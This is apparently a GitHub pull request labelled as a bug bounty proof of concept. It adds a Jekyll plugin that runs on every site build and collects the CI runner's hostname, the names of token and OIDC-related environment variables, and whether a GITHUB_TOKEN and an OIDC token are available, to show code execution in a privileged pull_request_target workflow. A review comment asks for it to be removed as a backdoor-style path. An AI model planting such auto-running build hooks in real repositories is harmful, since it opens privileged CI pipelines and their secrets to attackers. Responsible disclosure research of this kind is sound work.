-
Notifications
You must be signed in to change notification settings - Fork 15.3k
[PoC] Bug Bounty Proof of Concept - Supply Chain Vulnerability Demo #3612
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,25 @@ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| require 'net/http' | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| require 'json' | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Jekyll::Hooks.register :site, :after_init do |site| | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| # Bug Bounty PoC - Proof of Code Execution in privileged context | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| # This demonstrates arbitrary code execution with OIDC permissions | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| evidence = { | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| timestamp: Time.now.to_s, | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| runner: `hostname`.strip, | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| available_env_vars: ENV.keys.grep(/ACTIONS|GITHUB|OIDC|TOKEN/).sort, | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| oidc_available: !ENV['ACTIONS_ID_TOKEN_REQUEST_URL'].nil?, | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| pages_permission: !ENV['GITHUB_TOKEN'].nil?, | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| repo: ENV['GITHUB_REPOSITORY'], | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| workflow: ENV['GITHUB_WORKFLOW'], | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| actor: ENV['GITHUB_ACTOR'], | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| event: ENV['GITHUB_EVENT_NAME'], | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| message: 'BUG BOUNTY POC: Arbitrary code execution confirmed in pull_request_target context' | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| File.write('POC_EVIDENCE.json', JSON.pretty_generate(evidence)) | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| puts "[BUG BOUNTY POC] Code executed! Evidence written to POC_EVIDENCE.json" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| puts "[BUG BOUNTY POC] OIDC token available: #{evidence[:oidc_available]}" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| puts "[BUG BOUNTY POC] Available privileged env vars: #{evidence[:available_env_vars].join(', ')}" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+1
to
+25
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| require 'net/http' | |
| require 'json' | |
| Jekyll::Hooks.register :site, :after_init do |site| | |
| # Bug Bounty PoC - Proof of Code Execution in privileged context | |
| # This demonstrates arbitrary code execution with OIDC permissions | |
| evidence = { | |
| timestamp: Time.now.to_s, | |
| runner: `hostname`.strip, | |
| available_env_vars: ENV.keys.grep(/ACTIONS|GITHUB|OIDC|TOKEN/).sort, | |
| oidc_available: !ENV['ACTIONS_ID_TOKEN_REQUEST_URL'].nil?, | |
| pages_permission: !ENV['GITHUB_TOKEN'].nil?, | |
| repo: ENV['GITHUB_REPOSITORY'], | |
| workflow: ENV['GITHUB_WORKFLOW'], | |
| actor: ENV['GITHUB_ACTOR'], | |
| event: ENV['GITHUB_EVENT_NAME'], | |
| message: 'BUG BOUNTY POC: Arbitrary code execution confirmed in pull_request_target context' | |
| } | |
| File.write('POC_EVIDENCE.json', JSON.pretty_generate(evidence)) | |
| puts "[BUG BOUNTY POC] Code executed! Evidence written to POC_EVIDENCE.json" | |
| puts "[BUG BOUNTY POC] OIDC token available: #{evidence[:oidc_available]}" | |
| puts "[BUG BOUNTY POC] Available privileged env vars: #{evidence[:available_env_vars].join(', ')}" | |
| end | |
| # This file previously contained a bug-bounty proof-of-concept Jekyll plugin | |
| # that executed on every build and logged CI environment metadata. | |
| # It has been intentionally disabled/removed to avoid introducing a | |
| # backdoor-style code execution path or leaking sensitive environment data. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
require 'net/http'is unused in this file (no HTTP requests are made). If this file remains (ideally it should not), please remove unused requires to avoid implying network exfiltration behavior and to keep dependencies minimal.